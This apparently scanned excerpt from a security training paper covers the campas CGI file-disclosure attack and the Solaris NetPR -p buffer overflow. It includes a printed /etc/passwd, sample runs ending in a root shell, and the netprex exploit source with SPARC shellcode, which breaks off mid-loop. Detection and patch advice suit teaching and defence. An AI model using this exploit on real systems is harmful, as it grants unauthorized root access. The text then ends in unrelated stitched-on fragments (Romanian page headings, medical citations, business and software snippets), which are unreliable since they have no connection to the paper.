
root:x:0:1:Super-User:/export/home/root:/sbin/sh daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

smtp:x:0:0:Mail Daemon User:/:/bin/false ...

This is a simple matter of using the telnet client and specifying a port number of 80. Because the HTTP protocol is built around text commands, an attacker can simply type the HTTP message rather than using a web browser to generate it. The server responds with the HTML source of the response, which contains the contents of the /etc/passwd file, then it terminates the connection.

Signature of the Attack

Because this attack is carried out using normal HTTP commands,

monitoring network packets with a sniffer will not likely reveal the attack.

The campas attack in progress looks like any legitimate request of web content from the server. To detect a campas attack, look at the web server logs. The location and type of logging varies for different web servers. For Apache, look for lines containing campas. A sample command is:

# egrep -i 'campas' {ServerRoot}/logs/access_log

System auditing varies widely among different operating systems and different versions of UNIX. If the actions of the user who normally runs the web server are audited, this deviation from expected behavior could indicate a CGI-based attack, such as campas.

How To Protect Against It

Protecting yourself against campas vulnerabilities takes several actions.

First, the web server should never be run with root access. Check your web server documentation to find out how to run the server as a user with minimal access. This user should only be able to carry out the actions and access the data needed to properly operate the web server—nothing else.

In addition, this user should not have write access to its own configuration files. This prevents an attacker from editing the configuration to start the web server as root. It also should not be able to write the files it serves.

This prevents the attacker from altering the web content being served.

Second, the NCSA HTTP server that comes with campas is no longer supported, and it has been obsolete for years. The best way to protect yourself from campas is to upgrade your web server and ensure the campas script is no longer available on your server.

(13)

Additional Information

Additional Information can be found at the following sites:

x http://www.geog.ubc.ca/snag/bugtraq/msg00341.html x http://www.cert.org/tech_tips/cgi_metacharacters.html x http://www.cert.org/advisories/CA-97.25.CGI_metachar.html

NetPR

The NetPR exploit is, at the time of this writing, the latest in a series of print service buffer overflows under Solaris. It uses a buffer overflow in the–p option for /usr/lib/lp/bin/netpr to gain root access from a local account.

Exploit Details

x Name: NetPR –p buffer overflow exploit x Variants: No direct variants

x Operating System: Solaris 2.6, Solaris 7, and Solaris 8 x Protocols/Services: Network printing service

x Written by: Brent Hughes Protocol Description

NetPR is a print output module that opens a connection to a network printer or print-service host using BSD print protocol or TCP pass-through, which sends the protocol instructions and then sends the print data to the printer.

This exploit takes advantage of improper bounds checking within one of the NetPR options, and it is independent of the protocols used by NetPR.

Because NetPR is a setuid program owned by root, the exploit results in root access.

Description of Variants

There are no direct variants of this exploit, but other buffer overflow problems have been found in the Solaris print services. These include an overflow in the –d option for lp and in the –r option in lpset. Both are listed with exploit code under Sun vulnerabilities at

http://www.securityfocus.com.

There is nothing in the print service exploits that set them apart from other buffer overflow exploits. The NetPR exploit is a very good general case, and an understanding of its details can be directly applied to a wide variety of other buffer overflow exploits.

To give you an idea of the number of exploits available, the following is a list of buffer overflow exploits for Solaris as posted to the BugTraq mailing list:

2000-05-29: Xlockmore 4.16 Buffer Overflow Vulnerability 2000-05-12: Solaris netpr Buffer Overflow Vulnerability

2000-04-24: Solaris lp -d Option Buffer Overflow Vulnerability 2000-04-24: Solaris lpset -r Buffer Overflow Vulnerability 2000-04-24: Solaris Xsun Buffer Overrun Vulnerability 2000-01-06: Solaris chkperm Buffer Overflow Vulnerability 1999-12-10: Solaris sadmind Buffer Overflow Vulnerability 1999-12-09: Solaris snoop (GETQUOTA) Buffer Overflow Vulnerability

1999-12-07: Solaris snoop (print_domain_name) Buffer Overflow Vulnerability

1999-11-30: Multiple Vendor CDE dtmail/mailtool Buffer Overflow Vulnerability

1999-09-13: Multiple Vendor CDE TT_SESSION Buffer Overflow Vulnerability

1999-09-13: Multiple Vendor CDE dtaction Userflag Buffer Overflow Vulnerability

1999-09-12: Solaris /usr/bin/mail -m Local Buffer Overflow Vulnerability

1999-07-13: Multiple Vendor rpc.cmsd Buffer Overflow Vulnerability

1999-06-09: Multiple Vendor Automountd Vulnerability

1999-05-22: Multiple Vendor LC_MESSAGES libc Buffer Overflow Vulnerability

1999-05-18: Solaris libX11 Vulnerabilities

1999-05-11: Solaris lpset Buffer Overflow Vulnerability 1999-05-10: Solaris dtprintinfo Buffer Overflow Vulnerability 1999-03-05: Solaris cancel Vulnerability

How the Exploit Works

When programs run, they set aside three sections of memory for:

program instructions, program data, and the stack. The stack is a holding tank for variables and program parameters to be stored, and it usually sits in the higher part of memory. Buffer overflows occur in the stack, so it deserves a more detailed explanation. The stack works as a Last In First Out (LIFO) queue. This means that if variables 1, 2, and 3 were put on the stack, they would have to come off 3 first, then 2, then 1. Most computers start the stack at the top of memory and grow downward. A stack pointer is used to keep track of the bottom of the stack as data is added and taken off.

Programs use the stack for several types of data: storing variables within sub-programs, storing parameters to and from sub-programs, and

(14)

keeping track of program return locations when jumping to new program areas. For example, a program calls a function with three parameters. The program pushes the parameters onto the stack in reverse order, and then it calls the function. At the beginning of the function, the stack contains parameter #3, parameter #2, parameter #1, and the return address of the calling program. As the function runs, it will grow the stack, setting aside space for its local variables. At the beginning of the function, the stack could look like this:

Parameter #3 Parameter #2 Parameter #1 Return address Local Variable #1 Local Variable #2 Local Variable #3 Local Variable #4

When the function finishes, it cleans up the stack and returns to the point in memory specified by Return address to continue with the rest of the program.

In the above example, if Local Variable #2 was declared as being 100 characters long, and a 150-character value was assigned to it, it would overflow into Local Variable #1, and perhaps beyond into Return address and the parameters. If the Return address is overwritten, the function is not able to return to the calling program. Instead, it interprets the overflow data as a memory location and tries to run whatever instructions happen to be there. If this is an accidental overflow, the program crashes.

The magic of a buffer overflow exploit is to find a program that doesn’t check for proper data lengths before assigning data to variables. After one is found, an overflow variable can be carefully crafted to deliberately overwrite the Return address with the memory address for an exploit program. When the function tries to return to the main program, it gets the exploit program instead. The easiest place to locate this exploit code is within the variable being used for the overflow. In the previous example, ifLocal Variable #2 was vulnerable to an overflow, an exploit would make the stack look like this:

Parameter #3 Parameter #2 Parameter #1

Pointer to Local Variable #2 Exploit Code

Exploit Code Local Variable #3 Local Variable #4

The exploit program is run with the same permissions as the original program, so if it is a UNIX program running setuid root, the exploit program runs as root as well. The most common exploit code simply starts a shell, which is then used to run other commands with elevated

privileges.

In theory, writing a buffer overflow is very simple. There are a couple of big stumbling blocks, however.

The first difficulty is the exploit code itself. It’s not enough to fill the variable with shell or C commands. The exploit code has to be in raw assembly. Furthermore, because it is a character buffer being filled, a NULL character marks the end of the string, so commands containing hex 00 (0x00) must be avoided. Because starting a shell is a common goal in most overflow exploits, pre-written exploit code for various types of UNIX processors is fairly easy to find. The NetPR exploit is targeted at Solaris running on x86 or SPARC.

Another problem occurs when the attacker doesn’t have access to the source code of the program to be exploited. Predicting the exact arrangement of the stack from a binary program is nearly impossible.

There are, however, ways around this. The two addresses an attacker really wants to know are the address of the targeted buffer that will be overflowed and the location of the return address. If the buffer is large enough to permit it, an attacker can increase the odds of getting these numbers right by padding the exploit code. In the beginning, he can put a large number of NOP (no operation) instructions. These are usually used to insert delays in programs and cause the computer to simply advance to the next instruction. Inserting 100 NOPs in the beginning means the guess can hit anywhere within a 100-byte area of memory instead of having to guess an exact byte, which raises the chances of success by 100 times! At the end of the exploit code, he can add a number of return addresses pointing back into the NOP instructions at the beginning. This increases the size of the target the attacker needs to hit for the return address. It isn’t uncommon to overflow buffers larger than 1024 bytes. Because exploit code is often less than 100 bytes, a considerable amount of padding can be used to drastically increase the chances of getting the addresses right.

A stack with exploit code in it could look like the following:

Parameter #3

Pointer back xx bytes

(15)

Pointer back xx bytes

Pointer back xx bytes (original Return Address location) Pointer back xx bytes

Pointer back xx bytes

Exploit Code ( < xx bytes long) Exploit Code ( < xx bytes long) Exploit Code ( < xx bytes long) NOP

NOP NOP NOP NOP NOP NOP

Local Variable #3 Local Variable #4

The /usr/lib/lp/bin/netpr exploit uses these general principles on its –p option program under Solaris to overflow a variable buffer and launch a shell. The general principles discussed can be directly seen in the exploit code in the next section. For additional information on buffer overflows, seeChapter 7, “Buffer Overflow Attacks.”

How To Use It

To use the program, an attacker just compiles the code (gcc netprex.c –o netprex) and runs it. The default is to connect to localhost using an offset of 1600 bytes and an alignment of 1. The offset is added to the stack pointer to guess the location of the -p variable’s address on the stack. Comments in the code recommend trying 960 to 2240 (+ or – 640 from the default) in multiples of 8 if the default doesn’t work. The

alignment is used to align the first NOP in the buffer and can be 0, 1, 2, or 3. The alignment is used because the NOP instruction is substituted with a string-friendly 4-byte instruction that avoids NULLs in the string buffer. If a 1-byte NOP instruction were possible, the alignment guess would not be necessary.

If the local host is not running print service on TCP port 515, a –h option can be used to specify a host that is running print service. The host specified will not be compromised and will only see a connection to an invalid printer. It is very common for print service to be running on Solaris, and it is running on default Solaris installations.

After trying this on a different version of Solaris and different chipsets, no combinations appeared to work on a Sparc 20 (sun4m) running Solaris 2.6, but many offsets with an alignment of 3 worked for an Ultrasparc (sun4u) under both Solaris 2.6 and Solaris 7. A script can quickly test all

combinations, and a working combination will result in a root shell that effectively stops the script until the shell is exited.

Here’s an example using the default offset and adjusting the alignment:

palm{hughes}698: ./netprex –a 0

%sp 0xffbef088 offset 1600 à return address 0xffbef6c8 [0]

Segmentation Fault

palm{hughes}698: ./netprex –a 1

%sp 0xffbef088 offset 1600 à return address 0xffbef6c8 [1]

Segmentation Fault

palm{hughes}698: ./netprex –a 2

%sp 0xffbef088 offset 1600 à return address 0xffbef6c8 [2]

Illegal Instruction

palm{hughes}699: ./netprex –a 3

%sp 0xffbef080 offset 1600 à return address 0xffbef6c0 [3]

#

Signature of the Attack

By default, this exploit uses localhost as the host to connect to, so it generates no direct network traffic. A ps command will show /bin/sh running as root, but it appears no different than a normal root shell. This could be used to detect this attack, if root does not normally run a shell on a particular system. Another option for detection is to use ps to look for root shells and examine the process id that called it to confirm whether a valid root-holder is launching the shell. For example, the following lines from the output of /usr/bin/ps –ef look somewhat suspicious. The parent process ID (PPID) of the root shell is a shell from the guest account, which is not usually someone with the root password.

UID GID PPID 0 STIME TTY TIME CMD guest 3390 3388 0 13:07:06 pts/14 0:00 –csh root 3384 3390 0 13:31:15 pts/14 0:00 /bin/sh If localhost is not used, and a hostname is provided, the attack is detectable. Tcpdump output shows nothing unusual because the TCP headers are normal. However, running snoop on Solaris shows the following:

palm -> ironwood PRINTER C port=1021 ironwood -> palm PRINTER R port=1021 palm -> ironwood PRINTER C port=1021 palm -> ironwood PRINTER C port=1021 ironwood -> palm PRINTER R port=1021

(16)

ironwood -> palm PRINTER R port=1021 ironwood:

/usr/lib/l ironwood ->

palm PRINTER R port=1021

palm -> ironwood PRINTER C port=1021 palm -> ironwood PRINTER C port=1021

Palm is running the exploit and is referencing ironwood as a host with print service running. Running snoop in verbose mode shows the message on the 6th packet to be ironwood: /usr/lib/lpd: : Command line too long\n. This is a result of the long buffer overflow parameter as it is passed on to lpd. Because this requires a printer name that is 1024 characters or longer, this is a sign that something is very wrong. The exploit can be detected by watching for this error, but only if the exploit is using a remote host for the print service, so this is not a very good method for detecting this exploit.

How To Protect Against It

Sun has released the following patches to contract customers only:

x Solaris 8.0_x86—patch 109321-01 x Solaris 8.0—patch 109320-01 x Solaris 7.0_x86—patch 107116-04 x Solaris 7.0—patch 107115-04 x Solaris 2.6_x86—patch 106236-05 x Solaris 2.6—patch 106235-05

Turning off the setuid bit on /usr/lib/lp/bin/netpr will prevent this exploit from working, but it may disable some network printing capabilities.

Buffer overflows are a very stealthy way to compromise a system, and many of them are very difficult to detect. Solaris 2.6 contains more than 60 setuid root programs in a default install, and Solaris 7 contains even more. A buffer overflow exploit in any one of them could result in an unauthorized account gaining root access.

Keeping up to date on patches is a good start to defend against buffer overflow exploits, but it does not offer complete protection from them.

Watching for released exploits through lists, such as BugTraq, is one step better for keeping ahead as long as the fixes are immediately applied. The code for the NetPR exploit was written almost a year before it was

released!

A better solution is to examine the setuid root programs on your system and determine whether any are not needed. These should have the setuid bits turned off, preventing exploits from using them to gain root access.

This is directly in line with the principle of least privilege.

An indirect defense against buffer overflows is to ensure that systems are not easily compromised remotely. Many buffer overflow exploits require a local account first, so protecting local accounts from malicious access goes a long way toward protecting against system compromises, such as the NetPR exploit, which need local account access before being effective.

Source Code

Source code for this exploit is available at www.securityfocus.com from the BugTraq archives and the vulnerabilities database. The following is the exploit code for the SPARC architecture:

/**

*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr

***

*** Tested and confirmed under Solaris 2.6 and 7 (SPARC) ***

*** Usage: % netprex -h hostname [-o offset] [-a alignment]

***

*** where hostname is the name of any reachable host running the printer

*** service on TCP port 515 (such as "localhost" perhaps), offset is the

*** number of bytes to add to the %sp stack pointer to calculate the

*** desired return address, and alignment is the number of bytes needed

*** to correctly align the first NOP inside the exploit buffer.

***

*** When the exploit is run, the host specified with the -h option will

*** receive a connection from the netpr program to a nonsense printer

*** name, but the host will be otherwise untouched. The offset parameter

*** and the alignment parameter have default values that will be used

*** if no overriding values are specified on the command line. In some

*** situations the default values will not work correctly and should

*** be overridden on the command line. The offset value should be a

*** multiple of 8 and should lie reasonably close to the default value;

*** try adjusting the value by -640 to 640 from the default value in

(17)

*** increments of 64 for starters. The alignment value should be set

*** to either 0, 1, 2, or 3. In order to function correctly, the final

*** return address should not contain any null bytes, so adjust the offset

*** appropriately to counteract nulls should any arise.

***

*** Cheez Whiz / ADM *** [email protected] ***

*** May 23, 1999 **/

/* Copyright (c) 1999 ADM */

/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */

/* The copyright notice above does not evidence any */

/* actual or intended publication of such source code. */

#define BUFLEN 1087 #define NOPLEN 932 #define ADDRLEN 80

#define OFFSET 1600 /* default offset */

#define ALIGNMENT 1 /* default alignment */

#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */

#include <stdio.h>

#include <errno.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

char shell[] = /* setuid: */

/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */

/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */

/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */

/* alarm: */

/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */

/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */

/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */

/* execve: */

/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */

/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */

/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */

/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */

/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */

/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */

/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */

/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] **/

/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] **/

/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] **/

/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */

/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */

extern char *optarg;

unsigned long int get_sp()

{

__asm__("or %sp,%sp,%i0");

} int

main(int argc, char *argv[]) {

unsigned long int sp, addr;

int c, i, offset, alignment;

char *program, *hostname, buf[BUFLEN+1], *cp;

program = argv[0];

hostname = "localhost";

offset = OFFSET;

alignment = ALIGNMENT;

while ((c = getopt(argc, argv, "h:o:a:")) != EOF) { switch (c) {

case 'h':

hostname = optarg;

break;

case 'o':

offset = (int) strtol(optarg, NULL, 0);

break;

case 'a':

alignment = (int) strtol(optarg, NULL, 0);

break;

default:

fprintf(stderr, "usage: %s -h hostname [-o offset] "

"[-a alignment]\n", program);

exit(1);

break;

} }

memset(buf, '\xff', BUFLEN);

for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) { *cp++ = (NOP >> 24) & 0xff;

Referințe

DOCUMENTE SIMILARE

1 Department of Physical Medicine and Rehabilitation, National Taiwan University Hospital, Bei-Hu Branch and National Taiwan University College of Medicine, Taipei, Taiwan, 2

Locations of the tibial nerve, popliteal artery, vein (b), and medial sural cutaneous nerve (c), and safe angles for nee- dle insertion (d).. n: tibial nerve, a: popliteal artery,

1. Enlarged spinoglenoid notch veins causing suprascapular nerve compression. Dynamic ultrasonogra- phy of the shoulder. Lafosse L, Tomasi A, Corbett S, Baier G, Willems K,

Environmental scanning is the monitoring, evaluating, and disseminating of information from the external and internal environment to key people within the corporation or

funds return on assets (ROA) as an internal factor, and GDP internal as an external one. At the end of the analysis the authors came to the conclusion that all banks had an

Given that external causes (those related to the environment in which the enterprise operates) are out of the enterprise control, this paper will be focused only on internal causes

units, it is worth noting that the fundamental reference quantities in the British system of units (foot, pound, second) are based on the primary dimensions of length (L), force

 The software the encapsulates the high level design model of the system should be placed into stable packages.  How can a package which is maximally stable (I=0) be